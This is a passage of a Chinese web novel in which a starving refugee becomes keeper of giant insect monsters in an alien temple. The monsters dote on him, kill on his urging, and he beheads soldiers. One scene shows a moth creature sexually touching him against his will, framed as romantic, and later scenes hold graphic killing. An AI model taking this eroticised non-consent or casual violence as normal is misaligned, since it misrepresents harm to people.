为了能够吃顿饱饭，利诺算是豁出去了，将自己的毕生演技用在这里，他甚至都把自己感动的落泪。 不是感动那些大虫子，而是感动自己为了吃顿饱饭可真是太不容易了！ 利诺动情的演绎感动到了这位看起来苛刻的面试官，他的触角一抽一抽的，这是珀鲁族属于哭时的表现。 “不错！不错！你虽然是个异族公民，但你对沃姆神的信仰超越了大多数珀鲁族！” 面试官抽抽触角：“我正式通知你，你通过了面试，光荣地成为阿拉沃尊者的饲养员！只要你努力，让强大的尊者满意，摆脱末等公民的身份很有希望！我看好你！” 利诺不听老板画大饼，而是问：“那谢谢您，面试官先生，我能问问咱们的沃姆神殿什么时候开饭吗？” “……还有一个小时。”面试官收起感动，让利诺签下应聘书，“一会儿会有接应员带你去饲养员宿舍，宿舍的基本物品都有准备，你可以稍稍休整。等吃完饭，你就得学习如何照顾阿拉沃尊者们了。” 利诺发现了华点：“们？” “因为饲养员数量不足，目前是一位饲养员负责三位尊者。” 面试官看了眼利诺，略带怜悯：“就在一天前，你顶替的那位饲养员被其中一只尊者用尾钩撕碎了，他的任职时间是两小时。” 利诺咽了咽口水，面试官道：“你已经签署了文件，不可以反悔了。” “我不反悔，我就想问问能不能先提前吃饭？”利诺睁着圆溜溜的银灰色大眼睛，他的肚子在咕咕叫。 面试官：“……”哪来的饭桶？ 他招招手：“可以，我应允了。” 临时充当面试官的珀鲁族在这里的职位不低，他将一名珀鲁族喊过来，让他带利诺去食堂提前吃饭。 不得不说，沃姆神殿的伙食很好，餐桌上叠了十二只大碗，利诺吃完第十三个大碗的食物，满意道：“味道很好，再来最后一碗！” 神殿来了个饭桶饲养员、一顿饭吃光十四碗的消息在短暂的中午迅速扩散到整个殿宇。 沃姆神殿因为信仰的特殊性，除了饲养员岗位，其他的都是活少钱多待遇好的官方岗位，在这里任职的珀鲁族不是有钱就是有权。 利诺被领着去阿拉沃生活的后殿时，敏锐地发觉遇到的同事都用很奇怪的眼神打量自己。 利诺问接引他的珀鲁族：“他们为什么都要看我？” 接引员简单道：“因为你一吃成名！” 而且这些无聊的珀鲁族还在打赌利诺下顿能不能继续吃十四碗。 珀鲁族没说后半句话，带他来到了后殿门口，在那里有一个同样不是珀鲁族的中年饲养员等着利诺。 不用接引员说话，那中年就讶异地扫了眼利诺：“你就是那个干了十四碗饭的新饲养员？” 他比了比利诺偏瘦弱的体型：“看着不太像啊？” 利诺不解，还有点小委屈，他正在长身体，多吃点怎么了嘛！ 好在中年饲养员没有纠结太久利诺的体型，而是和珀鲁族点点头，就对利诺道：“跟我来吧，我告诉你怎么照顾尊者们。” 进入后殿，温度猛地下降，利诺打了个寒颤。 中年异族穿着和利诺一样的饲养员工作服：“你要照顾的是一号、二号和三号尊者。” “他们没有名字吗？” “谁敢给他们起名字？”中年轻嗤了声，“就连这个代号都是为了方便分配饲养员才临时这么叫的。” “带上推车，我先带你去见见他们。事先别怪我没和你说，别被他们的样子吓到尖叫。你的前任就是这么死的，那只大蝎子的尾钩唰地一下，那个异族就变成了五半，差点没拼起来。” 中年异族大概比划了下，啧了声，尾音带着残留的恐惧。 利诺镇定道：“你放心，我不怕虫子。” “可不能这么喊他们！”异族连忙叫住利诺，“被我听到还好，要是被那些珀鲁听到，你就完了！” “要喊他们尊者！” 利诺用手掌捂住了嘴，点头，然后跟着往内里走。 后殿除了莫名的冷，装饰布置都要被利诺见过的前殿要好上不少，只是每走过一段距离，利诺会看到墙面和地板上的划痕，又长又深，是某种大型生物的遗留品。 “您在这里工作多久了呀？”过了会儿，利诺又问。 “半年了。” 异族解释：“其实在这里活下去不算难，只要你定时定点喂他们足够的食物，不流露出强烈的害怕和逃避，晚上到点就走……” 事关身家性命，利诺把异族的经验全都记了下来。 说话间，利诺到了第一个房间。 异族小心敲了敲门，里面传来一声低低的嘶吼，他辨别了会儿，然后推开门。 内里的空间比利诺的那个宿舍不知道大了多少倍，一只硕大的、类似飞蛾的怪物悬挂在天花板上，翅膀张开，构成一张恐怖的骷髅头。 冰冷的复眼移到利诺的身上，隐藏在翅膀下的尾钩畸形丑陋。 第37章 利诺和外表如同放大数倍的蛾子对上了视线，繁密漆黑的复眼倒映出无数个他。 任何生物在面对一只好几米长的未知怪物，尤其是这只怪物长得还很恐怖，都会感觉到害怕。 利诺并没有感觉到害怕，他甚至觉得，怪物的复眼大大的、圆圆的，怪萌的。 飞蛾保持不动的姿态，那截只露出来一点的尾钩悄无声息地伸长，布满倒刺和利刃的畸形物体很有存在感。 这时，利诺听到旁边的中年异族用气音小声说：“还有一件最需要注意的事情。” 利诺竖起耳朵，认真聆听前辈的劝导。 异族的声音越来越小：“阿拉沃的尾钩是武器，当你看到时，最好赶紧跑。” 他的尾音已经低到利诺差点听不到的程度。 中年异族根本不关心利诺有没有听到，他好心地留下最后一句警告，扭头就跑。 估计这只异族天生就是速度快，一转眼只剩下一堆空气给利诺。 利诺懵了。 他足足呆了好几秒，才想起来这只蛾子把尾钩露出来了，他得跑。 刚扭头要从大开的门那跑走，利诺应该庆幸中年异族在逃跑的时候没有顺便关门。 他往门的方向走了一步，倒挂在悬梁上的怪物长长嘶鸣。 紧接着，怪物飞行时张开翅膀带来的风刮到了利诺的耳边，白粉的发丝随风扬起。 背很重，利诺被那只怪物的一只虫足压在了干净锃亮的地板上。 利诺并没有感觉到身体撞击地板的疼痛，因为一条尾钩充当了他的垫子。 尾钩收敛起一切会对利诺造成任何伤害的倒刺和利刃，比起之前的冰冷杀器，更像是如同钢铁般的外骨骼，依旧冰冷，却变成了无害的存在。 利诺以为飞蛾会如同异族说的那样，用尾钩将他撕成碎片。 然而巨大的飞蛾怪物却俯下身，类似吸管的长形口器挨到了正在趴着的利诺的侧脸。 滑腻的触感令利诺有些不适应，他不确定这只怪物是不是对他起了食欲，要用那支可怕的口器分食他。 利诺的身形僵硬，已经想好了临终遗言，他很庆幸，至少临死前吃了顿饱饭…… 口器在利诺柔软温热的脸颊轻轻蹭了蹭，留下一点透明的液体，没有任何味道，似乎只是纯净水。 飞蛾没有轻易放过利诺，而是滑下口器，蹭过利诺的脖颈，没有衣料遮挡的手臂和大腿…… 利诺弄不明白怪物要做什么，然后他的双腿被尖足分开，那长长的喙管抵在了内侧。 珀鲁星常年保持三四十度的温度，因此工作服用的都是轻薄透凉的衣料。 大腿上的嫩肉感受到了坚硬的口器，这只阿拉沃似乎轻轻吸了一口，紧接着是是更软的、类似人类舌头的构造。 利诺颤抖了下，漂亮的嫣红色如染料渲上他的脸颊，他终于意识到这只怪物在干什么…… 这只变太的大飞蛾在骚扰他！ 珀鲁信仰的存在就这么饥渴的吗？都不是一个种族的，就这么迫不及待地舔舐那里吗！ 利诺哆哆嗦嗦，咬牙切齿：“混蛋啊！” 不知道飞蛾是听懂了利诺的话，还是读懂了利诺话语间的情绪，他暂停撕碎利诺衣料的动作，虫头低下，一点仿佛讨好的呼噜声从他的发声器官传出来。 尾钩缠绕起利诺，举高，飞蛾就这直立的姿态，一对前足将小小的利诺拦在怀中，毛茸的羽毛状触角弯下，触碰利诺的额头。 利诺闭上了眼，彻底摆烂，爱咋地咋滴吧，饲养员这么难找，只要他不会马上死，估计那些珀鲁会想办法救自己的。 飞蛾也不再做更过分的事情，而是紧紧抱着利诺不撒手，复眼凝视利诺，复眼周围的单眼则将视线投向了门口。 “咔咔——”奇异的动静吸引了利诺的注意。 他被迫趴在蛾子的身躯上，扭头抬眼，倒吸冷气，来的是一只体型与飞蛾不相上下的巨大蜘蛛，但比他在自己的星球上见过的蜘蛛要更恐怖。 八条似是利剑的长腿灵巧爬到了房间内，下颚张开，那种咔咔的声音就是从口器内发出来的。 利诺只看了两眼，独占欲旺盛的飞蛾就用另外一只虫足将利诺的头扭了过来，不然让他再看第二只阿拉沃上。 在这里最弱小的利诺没有反抗的能力，他只能乖乖的，以免被这两只阿拉沃给弄死。 “哒哒哒……”又是一阵悉悉索索的声音由远及近，利诺不敢想来的东西又是什么。 一阵天旋地转，利诺被放在了悬挂在屋顶的悬梁上，近乎透明丝线将他固定起来，防止他从几十米的高度跌落。 一只大蜘蛛，和一只冰蓝半透明的蝎子，侵入了飞蛾的领地。 利诺咽了咽口水，就见飞蛾灵巧飞起，又往下冲刺。 三只阿拉沃打在一起，他们打架的速度很快，利诺的眼睛只能勉强看到一些残影。 这些怪物互相打架是正常的吗……作为一个新人，利诺目瞪口呆，只能瑟瑟发抖地在飞蛾丝线的固定中看这场招招奔着杀死彼此的战斗。 墙壁瞬间变得坑洼，屋内的摆设打落破碎，蜘蛛和飞蛾在对方的身躯上撕咬、戳刺出无数伤口，并不多的鲜血从中流出。 那只后来的阿拉沃的伤口最少，他压根没仔细打，而是东一榔头西一棒子，极力挑起另外两只同族的愤怒情绪。 飞蛾和蜘蛛打红了眼，蝎子优雅后退，翘着深蓝的尾刺，不急不慢地朝利诺爬来。 宛如死神的倒计时。 将利诺捆住无法动弹的丝线被蝎子轻松扯碎，极具压迫感的头探到利诺的面前，仿佛一张嘴就可以把他吃进去。 看起来无比凶残的怪物却闪着黑漆漆的虫瞳，伸出触肢，将利诺抱在怀里，然后小心翼翼地蹭了蹭，把气味留在了上面。 这只阿拉沃低估了利诺对自己的吸引，他本想捉走好闻的妈妈就跑，但当将喜欢的妈妈搂到怀里时，他只想疯狂贴贴。 其他两只阿拉沃不是傻子，朝抱着利诺的巨大蝎子扑过来。 被挣来抢去的利诺从一开始的不安，到现在的无语，他轮流在三只阿拉沃怀里交换。 因为利诺的缘故，阿拉沃原本杀气腾腾的攻击变得极其收敛。 利诺很想喊一句：“你们不要再打了啦，再打就去练舞室打！” 泥人尚有三分脾气，在胃部升起恶心，差点将利诺刚吃的饭吐出来时，利诺生气地大喊：“停下！” 没有谁！ 没有谁可以让利诺吐出吃下去的食物！没有谁！怪物也不行！ 对一个饿久且常年吃不饱的人来说，食物就是他的逆鳞！ 利诺的个头在他们种族算高，但遇到这些怪物就是可爱的一小只。 但就是这个外表柔弱的人族青年，从飞蛾的虫足跳了下来，站在三只阿拉沃的中间。 被“夺食”的愤怒冲昏了利诺的头脑，身上激素飙升，再加上他本能地不怎么抵触这些怪物，他拽住最近的飞蛾，往下一拉，那强大的怪物根本就不反抗，乖顺地跌在地面。 “就你抢得最快，我好不好容易吃饱，你差点让我都吐出来！”利诺一拳头砸在飞蛾的头部。 “你知不知道晚上开饭点在八点！我要是吐了，还得饿到八点！”拳头不好使，利诺干脆用脚。 打完飞蛾，利诺又拽来蜘蛛，连手带脚开揍：“还有你，你没事来别人的房间干什么？没事撑的？” 最后是蝎子，利诺多给了他两脚：“就你聪明是吧，就你会使阴招是吧！就你把我从观众席拉到争夺中心的是吧！” 蝎子抱头：“呜——” 打架是个技术活，但是单方面的殴打考验的是体力，利诺气喘吁吁地停下。 刚打得不可开交的三只怪物被揍得鼻青脸肿，齐齐蹲在利诺的面前，排成整齐的一列。 最后一只被揍得最狠的蝎子抱着尾钩、缩在角落瑟瑟发抖，其他两只也好不到哪里去。 利诺对这些怪物的压制是绝对的，怪物们不会反抗，更没有反抗的本能。 “爽！”利诺重重吐气，对这些被珀鲁又信仰又深深恐惧着的阿拉沃再也生不出一点害怕的情绪。 另一边，逃出来的中年异族慌乱跑到前殿大喊：“不好了，尊下，吃十四碗饭的那小子被尊者袭击了！” “什么！”面试利诺的那个珀鲁从神殿管理员办公室疾走出来，“他死了吗？” “不、不知道！我见尊者伸出尾钩就跑了，那小子没跟上……”中年异族大口喘气。 “调来一队士兵，拿好武器，跟我去后殿查看情况！”管理员的神色差到极点，棱形眼睛几乎要瞪出来，“我还觉得这次的异族小年轻不错，没想到连上个饲养员都比不上！” 这只珀鲁又问：“你看到他是怎么惹怒的尊者吗？” 异族摇头，反应过来后露出惊异的神色：“我们只是刚走进去……” 等珀鲁族们急匆匆前往后殿处理突发状况时，一股肉香从里面传出来，靠得越近越浓郁。 管理员一拍大腿：“坏了，这次尊者肯定很生气，都把饲养员烤熟了！” 浓密的触角感知这股味道，还怪香的…… 等珀鲁们端着武器、轻声迈入后殿，却看到一个烧烤电架摆在通风大厅的中央。 蝎子任劳任怨地从推车上拿下生肉，切成小小的薄肉片，用不知道从哪里来的签子穿上，最后放在托盘上。 蜘蛛在电炉上任劳任怨地烧烤，旁边是从隔壁房间翻出来的各种调料。 那个被认定生还希望近乎为零的青年躺在飞蛾翅膀上，吃着尊者亲自烤出来的肉。 问：饲养员死了吗？ 答：没死，饲养员不仅没死，他还把尊者们的食物给吃了！ 第38章 利诺沉浸在烤肉的美味中不可自拔，要知道献给这些阿拉沃的食材可比他在神殿食堂吃的高级多了。 虽然都是生的，但在这些虫子的烹制下，那种好吃不仅是长期挨饿的他无法抵抗的，也不是食堂的食物可以比拟的。 利诺翘着脚尖悠闲晃悠，漂亮的脸蛋红扑扑的，在这些阿拉沃的眼中远比食物更加可口。 飞蛾的丑陋尾钩狗狗祟祟爬到利诺的脚边，就要缠上利诺的脚。 利诺吞下一口温度恰好的肉，眼神瞥到那条碍眼的尾钩，嫌弃地拿脚踹开。 脚在碰到尾钩的时候，怪物尾钩上的倒刺、利刃收缩起来，只留下金属般冷冽的硬壳。 天气的原因，利诺穿的是清凉的拖鞋，圆润透粉的脚趾触到怪物的尾巴，那点粉像是会传染一样，从利诺的脚趾迅速蔓延到飞蛾的尾巴。 冷肃凶残、传说中沃姆神最为强大的子嗣，仅仅被柔弱的异族碰了一下，就浑身泛起浓郁的红。 很明显，他在害羞。 羽毛状的触角蜷缩，飞蛾的发音器官再度舒服愉悦地呼噜。 其他两只没有机会接近利诺的怪物则嫉妒又愤怒地低低嘶鸣。 “噗通——” 利诺的耳尖微动，和三只阿拉沃同步转到一个方向。 是为首的面试官跪在了地上，他和一众握着武器的士兵，活像见了鬼似的把眼睛瞪得老大。 利诺后知后觉，开始心虚，他把给阿拉沃的食物吃了一小部分，这等同于饲养员把给饲养动物的食物给抢过来吃了…… 他不是一个合格的饲养员，被当场抓包不会被辞退吧！ 利诺露出苦涩的笑容：“其实，我可以解释的……” “……”面试官兼神殿管理员神色恍惚，“解释什么？”解释他怎么让尊者们如此乖巧听话？还是解释他和沃姆神的关系？ 在珀鲁族的信仰中，只有沃姆神的化身才会得到阿拉沃尊者们的尊敬，也只有身为母亲的沃姆神化身才可以让尊者们彻底臣服和顺从。 可是沃姆神的化身怎么会是一个遭珀鲁族鄙夷的流亡异族吗？ 无比虔诚信仰的管理员陷入深深的迷茫。 “吼！”暴躁的阿拉沃可不知道这些弯弯绕绕，他只知道，这些珀鲁一来，妈妈轻松的心情瞬间低落下来。 是这些杂碎惹得妈妈不再开心，让妈妈不开心的都该死！ 顾及利诺的存在，这些怪物并不想让他们的母亲看到血腥肮脏，因此当蝎子的尾钩抽过去时，特意收敛了力气，没有当场将这些珀鲁抽成血雾，而只是将其中一半毫无防备的珀鲁抽飞。 珀鲁们还在震惊，就猝不及防地砸到墙上，歪头晕倒。 攻击来的突然，这些被供奉起来的怪物瞬间愤怒，要把珀鲁驱赶出和妈妈温馨快乐的相处空间内。 “住手！”利诺脑壳突突地跳，向前迈出，挡在怪物们和珀鲁之间。 将最后一只最难搞的蛾子连推带踹地关到他的殿宇中，利诺的饭没白吃，他将重门啪地合上。 门后瞬间穿出利爪划过墙壁、地面的刺耳声，利诺直接威胁地低咳，声音戛然而止，怪物隔着一扇门在轻轻呜呜。 怪物明明可以瞬间撕裂这扇门，但因为关门的是利诺，他就只会乖乖待在门内，忍着思念和渴望，等着他的母亲再次打开门宠幸他。 解决完潜在的危险因素，利诺拍拍手，转身看到或颤抖站立或昏迷趴地的珀鲁，全然泄了气，把双手握在一起朝前伸：“我认错……” 他道歉的话说到一半，手就被管理员郑重地握住，这只珀鲁抽动他那浓密的触角：“您好，欢迎您度过实习期，现在正式成为我们神殿的饲养员。” 利诺：“？” 管理员的态度很是恭敬：“你有什么不满意的都和我们说。” “没什么……”利诺张张嘴，看了眼身后被阿拉沃抽飞仍旧昏迷的珀鲁，又看看眼前的管理员。 利诺的眼珠子转了一圈，直接想通了珀鲁对他态度转变的原因，完全是因为他可以制住这些阿拉沃。 阿拉沃的暴躁嗜血众人皆知，利诺并不知道为什么这些怪物对他言听计从，但很显然，他就是可以使唤他们！ 这很好，意味着他利诺会在逃离已然毁灭的故乡后，仍旧可以凭借着这个优势在珀鲁星混的很好。 说不定他遭受歧视的末等公民的身份会马上迎来转变…… 再次确认管理员的态度不是装的，而是全然从内心散发的尊敬，利诺决定得寸进尺。 他紧张地舔舔嘴唇，红唇染上一层透明的水润，中间的唇珠更显瑰丽精致。 说实话，利诺的长相很符合大部分星际种族的审美观，这也是他即使没钱也没如同早期那批难民一样活活饿死的重要原因之一。 利诺小小地提到：“食堂能不能取消定时定点开么门，而是二十四小时供饭？” 管理员想得没想：“当然没问题。” 他说着掏出本子，在上面记下利诺刚才说的话，然后接着问：“您还有什么要求？” 利诺想了想：“暂时没有了？” “怎么会没有呢？”管理员竟然着了急，“您要什么样的宫殿？您觉得尊者们的宫殿是否太过简陋，还有沃姆神的雕像要不要改成和您一样的外形……” 眼看这只珀鲁越说越过分，利诺生怕他被身后的这群士兵狂信徒给打死，连忙堵住管理员的话，斩钉截铁：“只有这一条！” 管理员叹息：“好，如您所愿，以后食堂会全天供应食物！” 接下来的几天，利诺过得很滋润，早上吃饭，吃完饭带着餐车去给三只阿拉沃送饭，中午吃饭，下午放在阿拉沃的身上睡到吃晚饭的时间，吃完饭就睡觉，周而复始。 “晚安。”利诺瘦削的脸颊带了点肉，面色越发白里透红，嘴角噙着笑，本就艳丽的五官在偏暗的后殿内如同盛放的烟花般耀眼。 妈妈身上的气味很好闻，甜甜的，香香的，是所有他的子嗣都会着迷的味道，也足以抚慰怪物不安焦躁的情绪。 将地板划拉出一道道深色凹陷的怪物收回爪子，学着青年的举动，用一只前足挥舞，奇异的声调重复，好似在用利诺不知道的语言祝妈妈晚安。 利诺摸了把飞蛾的翅膀，目光若有若无地在翅根扫了一眼，在怪物察觉前迅速移开。 刚吃过晚饭的利诺摸摸又在闹的肚子，想着再去食堂吃一顿。 “你们、们不、不觉得新饲养员是、是沃姆神的化、化身吗？”利诺走到门口，听到一句结结巴巴的通用语。 说话的虽然也是珀鲁中的一员，但因为天生结巴的缺陷而在公民等级评定中被视为下等公民，和利诺这些失去母星的星际难民是一个等级。 另外一道声音哈哈大笑，随即嘲讽：“萨亚约，我看你是不仅说话困难，脑子也有问题！区区的末等公民，还是更加下贱的异族，怎么可能是神的化身……再说了，我从五岁开始就知道沃姆神是被杜撰的。” 萨亚约涨红脸颊，因为着急而口吃越发严重：“不不不是！神……存在……不、不然尊者又怎、怎么存在……” 那声音极其傲慢：“尊者？也不过是被神话出来的普通生物而已！我父亲说了，针对这些阿拉沃的控制计划已经开始在高层投票了！一旦通过，哼，什么尊者，不过是让我们当狗耍的工具！” “冒犯！冒犯！”萨亚约不敢置信地打翻餐具，从椅子上站起来，触须颤抖。 和萨亚约说话的陌生珀鲁周围围着好几个神殿的年轻工作员，他们边恭维陌生珀鲁，边同陌生的珀鲁一起嘲笑萨亚约。 这只陌生珀鲁家里权势必定不小，即使外形不似人，也能看出他的嚣张跋扈：“切，我干嘛和末等公民讨论这个，我爸说了要保密的……” 他对着自己的追随者使了个眼色：“我爸说这事情不能说出去，可你们现在都听到了。” “……少爷，我们什么都没有听到！”有只珀鲁勉强答道。 “这个你们可说不定，我父亲知道了这件事，我倒是不会被怎么样，但你们肯定要被我父亲杀死的！”珀鲁得意洋洋。 小跟班们只想讨好这只珀鲁，为自己挣个更好的前程和提升公民等级的机会，哪里想死，只得摆笑求饶。 珀鲁无所谓地笑笑，指着萨亚约：“你们把他弄死，伪装成阿拉沃杀的，我就不把这事告诉我父亲……不然，等我父亲知道，这事就不是我能管的了……” 利诺站在门口，体型小的优点在这时被放大，他就站在角落里，可这些往常眼高于顶的珀鲁根本不会注意他。 珀鲁是一个傲慢又虚伪的种族，它瞧不起星际难民，但要因为星际公约而不得不收留难民，它看不起存在缺陷的同族，但因为星际种族平等条约而不能驱逐或杀死他们。 利诺吹了声口哨，打断了即将发生的惨案，银灰色的圆瞳在光线下收缩成冰冷的竖瞳，只是他本人并没有察觉出这个变化。 他靠在门框上，略显慵懒：“我也听到了，你们想嫁祸给阿拉沃，你们背后的家族还要拿阿拉沃当可以控制的武器。” 利诺沦为难民的时间不短，待在珀鲁星也有几个月，他早就知道大部分珀鲁是什么东西。 在神殿的这几天，利诺过得顺心，差点忘记珀鲁的本性和安逸后藏着的危险。 这不像他，利诺想，他可是那种无论身在何处、无论遇到什么都会本能爬到高处的逐利者啊！野心勃勃是他从不屑于掩饰的外衣！ 第39章 珀鲁们这才发现门口还站着利诺，青年的眸光带着点戏谑，正斜靠着门，轻薄的衣料遮不住雪白的肤色。 “你！那个吃了十四碗饭的新饲养员！”有只珀鲁指着利诺，恶狠狠道，“我还打赌你下顿饭能接着吃十四碗，结果你就吃了两碗！” 利诺摸摸鼻子，无辜：“怪我喽？” 两碗饭是他正常的食量，之前的十四碗不过是他饿了太久的缘故……更何况，现在食堂的食物完全满足不了他了，顶多只有半饱。 “废什么话？既然他也听到了，都杀了！”为首的少爷珀鲁给赔钱的珀鲁来了一脚，命令其他的跟班。 少爷说完也不停顿，从口袋伸出一个小型仪器，按下唯一的红色按钮。 他得意道：“我已经跟我父亲说了，你们逃不掉的！” 他父亲早就通知了他，今晚就会正式实施计划，所以他才会在今晚迫不及待地弄死碍眼的结巴废物。 其他珀鲁面色慌张，要是这只珀鲁口中位高权重的父亲知道，那他们肯定也没有了活路。 他们不再听少爷的命令，也不准备去抓利诺和萨亚约，而是直接跑路。 “喂！你们怎么跑了？回来，都给我回来！我让我父亲都杀了你们！”少爷珀鲁暴跳如雷，以他的脑容量压根不会想到其他珀鲁的担忧。 他只知道，除了几个跟班，还有异族的饲养员知道了他无意中透露出来的秘密。 这就意味着事情超出了掌控，他要是再不提前联络他的父亲，他父亲是不会放过他的！ “脑袋挺大，脑皮层的褶皱倒是少得可怜。”利诺调侃。 不过几个呼吸的时间，食堂内就只有利诺、萨亚约和这位珀鲁少爷了。 “您也快逃吧！”萨亚约罕见得没有口吃，而是干脆利落地催促利诺。 利诺走过萨亚约的身边，似乎根本没有听到好心珀鲁的话，而是将色厉内荏的少爷打倒在地，拖鞋底踩在了少爷脸上的触须。 少爷珀鲁一动不敢动，他再蠢也知道利诺极其明显的杀意，只能威胁：“你知道我父亲是谁吗？你要是碰我一根触须，我父亲都不会放过你的！” 利诺俯身：“那你知道我是谁吗？” 少爷珀鲁的棱形眼珠在眼眶晃动：“是谁？你能有我父亲厉害？” 萨亚约在旁边补充：“他的父亲是珀鲁星的大法官长，等级制度就是他们家族制定出来的，他们家世世代代都掌握着立法的权力！” 利诺挑眉：“我是你爷！”说完，他踩碎了珀鲁星最脆弱的一根触须，这位少爷立马发出惨叫。 太难听了，比杀猪的声音还刺耳，利诺又是一脚，将其踹晕。 世界安静了，利诺的眉眼缓和。 萨亚约被吓到了，但望向利诺的眼神依旧带着崇敬：“您快、快走吧，他是那法官长唯、唯一、一的子嗣。” “你怎么还没跑？”利诺扭头，银灰的竖瞳充满打量。 萨亚约的触须颤动：“我、您……” 这只有缺陷的珀鲁竟然跪了下来，他四肢并用，直接爬到了利诺的脚边，嘴巴的触须就要亲吻上利诺的脚尖。 好在利诺眼疾手快，立马倒退好几步，这才没被亲到脚趾：“你干什么！” 萨亚约失望道：“我、我是您的、的信徒，我、我为您承、承担罪责……” “我不是沃姆神。”利诺直接摆明身份，扬起下巴，眸光微闪，一只怪物从门口踮着脚尖进入，他应母亲无意识的召唤而来。 是本应该在后殿的飞蛾，此时出现在食堂，看见利诺便紧张地扑过去。 利刃的足插进昏迷珀鲁的四肢和内脏，飞蛾压根没意识到这里还有只活物，而是用还干净的前足攥住利诺的腰。 利诺低头看了眼彻底死亡的珀鲁少爷，拍了拍攥着自己腰的虫足，头疼道：“我没事，你怎么来了？” 阿拉沃不会说话，只是用毛绒绒的蛾子头和利诺磨蹭，似乎是在撒娇。 利诺直接顺着阿拉沃，坐在阿拉沃的身躯上：“不过你来了正好。” 他虚虚环绕蛾子，语气柔和地问：“乖乖，是不是我让你做什么，你都会做啊？” 妈妈从来没有用过这么柔和的语气，残缺的、被重新捏造的记忆里，利诺喂养和照顾他们不过是在完成工作。 飞蛾抖动羽毛状的触角，呼噜呼噜，眷恋地回应妈妈少有的温柔。 “你看，有坏东西要欺负我。”利诺听到了数架飞行器的声音，也嗅到了武器的味道，他在飞蛾的一只复眼上留下轻轻的吻，“你喜欢我，对吧？喜欢的话，帮我杀掉那些坏东西吧……” 在利诺的角度，阿拉沃不是什么神的子嗣，他们只是一种强大凶悍的生物。 利诺不明白他为什么会对阿拉沃有那么大的吸引力，但不妨碍他利用这种吸引力，来让阿拉沃为自己驱使。 当然，利诺不是那么冷血的人，他也会对这些阿拉沃很好很好，亲吻、触摸，他都不会拒绝，反而还会主动给予。 那些珀鲁计划将无法控制的阿拉沃打造成绝对服从的武器，然而阿拉沃早已无条件服从他们的饲养员、他们的妈妈…… 被亲吻的飞蛾仰天长啸，他将利诺放到距离后殿有一些距离的高地，尾钩勾住利诺的大腿，嫩肉和冰冷的外壳摩挲出温度，柔弱的人类与恐怖的怪物之间围绕着爱与欲的气息。 飞蛾围着利诺转了两圈，翅膀扇动，以几乎肉眼看不到的速度飞离，随即是血液和残肢的飞溅。 利诺干干净净地待在飞蛾为他选定的角落，注视一面倒的局势。 那些携带专门武器的珀鲁士兵压根就伤害不到飞蛾，然而飞蛾的尾钩随便一甩、锋利的翅膀划过，成片的珀鲁就会倒下。 “法官长，我们无法伤害那些阿拉沃！” 确定唯一的子嗣已经死亡，法官长的面容乌云满满，险些失去理智：“那就想办法！杀死了我儿子，这些嗜血的怪物就必须付出代价！” 指挥官擦了把汗，不敢多言，也不敢说能想什么办法，除了不断消耗他们的军队数量，还能有什么方法？ 这些士兵只是送死的炮灰，阿拉沃可是神明的子嗣，他们怎么会奢望去控制神明的子嗣，把他们变成顺从的武器工具？ 见证一只阿拉沃就可以把军队压着打的指挥官，开始后悔被法官长那冠冕堂皇的话迷惑，认为对阿拉沃的最好应对方法就是把他们变成无条件服从珀鲁族的武器…… 法官长待在他死去的儿子旁边久久不语，闭上眼，直到一个珀鲁士兵小心走近：“我们抓到了一只珀鲁，他之前一直跟在小少爷身边的。” “带进来！”法官长睁开眼，锐利的视线直射来者，触须拂过儿子冰冷的身躯。 他身边的助理代替长官警告这只珀鲁：“你知道什么都最好说出来，要是我上手审问，你觉得你还会留下几根触须？” 倒霉被逮住的珀鲁哆嗦，他原本就不是那种心理防线高的，只是稍微被吓唬一下，就将知道的全部说出来。 为了不被杀，珀鲁将锅全都甩在了利诺身上：“肯定是那个吃了十四碗饭的异族饲养员干的，一定是他让尊者杀的少爷！” “那个异族叫什么？”法官长的触须摇曳，声调提高。 “叫利诺！他一定还在附近，阿拉沃尊者们都很喜欢他！” 法官长不再说话，只是看了眼助理，助理立马心领神会，和士兵一起拉着这只珀鲁出去。 等助理再回来时，他的身上多了丝血气，恭敬道：“法官长，你吩咐的我都处理好了。” “做得好，现在再从总部拨出些珀鲁，让他们搜寻那个异族饲养员。”法官长缓缓道。 “杀了我的儿子，我不会让他用命来换。不过，他既然能让阿拉沃听话，就成为计划的一环吧！” 说完，法官长起身，把儿子扔在了地面上，独自离开。 儿子没了还能再生，但是可以让阿拉沃听话的异族没了就真的是没了。 对于法官长来说，叫利诺的饲养员可比唯一的子嗣重要得多。 另一边，萨亚约没有逃跑，而是跑到了神殿管理员的宿舍，敲响了管理员的门。 “萨亚约，怎么了？”管理员并没有收到任何紧急情况的通知，还在安眠，完全不知道发生了什么。 萨亚约口吃，着急时说话更加结巴，本就困顿的管理员越听越烦躁，索性拿出联络器联络守值的神殿士兵和员工，却始终没有得到回复。 管理员意识到了不对劲，他钳制萨亚约的双臂，疯狂摇晃：“快说，外面发生了什么？” 萨亚约被晃得头晕眼花，这下一个通用词都说不出来了。 “管理员？”漆黑的夜色骤然被光照亮，法官长在士兵的保护下走过来，“神殿目前已被我控制，阿拉沃野性难驯，从此刻起不再属于神殿，而被归类于危险生物，需要妥善控制。” “你疯了？那是沃姆神的子嗣，你不会还想着把他们打造成什么武器？”管理员身为神殿的实际掌权者，多多少少知道这些高层珀鲁的想法，他一直嗤之以鼻。 见法官长默认，管理员给气笑了：“伟大的沃姆神一定会降下神罚！” “你依旧这么天真，居然傻到相信神明的存在。”法官长不屑。 法官长的助理命令：“把所有的神殿员工都控制起来，不能随意伤害他们。” 不是法官长不想杀掉这些虔诚的信徒，而是沃姆神如今在珀鲁星的影响力不像以前那么大，但是信徒众多。 他们不能直接血洗神殿，那不仅不会铲除无用的信仰，还会惹起民愤，不利于计划的下一步开展。 “遭天谴的，你给老子等着！迟早扒了你的皮！”管理员一边被推拽，一边大口怒骂。 法官长全当听不见，联络器亮起，负责搜寻利诺的珀鲁之一惊喜道：“找到饲养员了……啊！” 布帛撕裂的惨叫中断了联络器的通讯。 紧接着是轰隆隆的巨响，助理收到消息，报告给法官长：“后殿……后殿塌了，阿拉沃们都跑出来了！” “一群废物！”法官长怒骂，“把所有军队都派遣出来，不惜一切代价控制住阿拉沃，并找到叫利诺的饲养员！” 说来奇怪，利诺在原本的故乡星球就是个普普通通的文化人，没学过打架。 但当握着刀削掉一个珀鲁族的脑袋时，利诺的手法非常熟练，就好像曾经割下过成千上万的脑袋。 杀掉外族的利诺心里也很稳，甚至有种天生的冷漠，半分视线都没有给在地上滚动的头。 从第一个发现他的珀鲁族被利诺干净利落地砍掉脑袋，围着他的珀鲁士兵越来越多。 利诺不知道杀了多少珀鲁，直到他面前仿若出现了一片星空，三颗离他最近的星点璀璨地闪烁。 